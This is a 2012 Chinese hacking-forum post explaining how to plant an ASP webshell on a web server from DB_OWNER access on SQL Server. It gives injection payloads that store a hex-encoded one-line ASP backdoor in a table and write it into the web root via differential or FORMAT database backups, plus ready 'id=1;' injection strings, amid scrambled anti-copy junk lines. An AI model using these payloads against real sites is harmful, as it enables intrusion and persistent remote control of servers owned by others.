中国网络渗透测试联盟
标题:
DB_OWNER权限得到webshell的改进办法
[打印本页]
作者:
admin
时间:
2012-11-9 21:31
标题:
DB_OWNER权限得到webshell的改进办法
DB_OWNER权限得到webshell的两点改进:
1 O0 ?4 d$ Q* I/ v1 j$ ?! Q, b
8 D, |& G, h- z+ }
减少备份文件大小,得到可执行的webshell成功率提高不少
, |. p+ S4 g& x1 o+ @) p* Z4 e
一利用差异备份
& [; }0 Z1 K( M& u- {
加一个参数WITH DIFFERENTIAL
) J) C8 m4 a' q+ x+ ]5 n
; ^4 L3 q7 ^7 V6 c' Q
1
* A4 O" L2 A; B
2
9 B0 m6 l4 I* c, c5 z% g5 k. r# P
3
2 W; G) O @, C6 d* T9 f/ v) g& q
4
$ a- h5 X) Y w
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 P9 j$ f7 Z8 n5 U( i1 G; [0 p
create table [dbo].[xiaolu] ([cmd] [image]);
9 I6 J0 b7 U' j0 |
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; J2 L* w2 Q4 `; X/ \( e
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0 R' w0 ]( G2 U$ T- t
1 W& ~5 Z2 J, _5 G7 j5 A
二利用完全FORMAT
, y7 X$ |9 e# A7 M
加一个参数WITH FROMAT
3 K5 a9 N. X& P' L! e6 A/ B
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
! ^8 b" h3 i: x/ @2 o
' j8 n* S, k9 P9 J7 y
1
, Q( {- @' A5 p( I+ v
2
$ g: `& T* }4 C" i: }( S& S* S$ D
3
) r, a: y3 v2 p7 g: P
4
9 u! ~* s3 u, V
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ x8 Z; O' s4 o$ [
create table [dbo].[xiaolu] ([cmd] [image]);
& f( E" m2 J, |4 u$ D
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( I1 w+ b) W5 ^/ r: X W4 q" j
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 Z% x/ B' K! N( j- [
' x1 Q. s) I3 u$ o: q/ ~
总的来说就是那么简单几句,下面以备份数据库model为例子
; S, V. B5 r: }5 t7 i
1
0 f" R8 z Q1 o1 q9 Q- L% G2 |
+ W3 V- e7 T& e6 o( f
1
3 P) W9 x' [) K* G/ i
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
( j9 ~: W# F5 M7 E
& i" @2 s- y7 P4 y) i
2
- B8 I, N7 [6 o$ H
4 f }+ d2 i3 |% E" L
1
/ T4 {/ d( a: [; D# R4 I
id=1;backup database model to disk='你的路径‘ with differential,format;--
; [" G @* e# a3 n: Y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2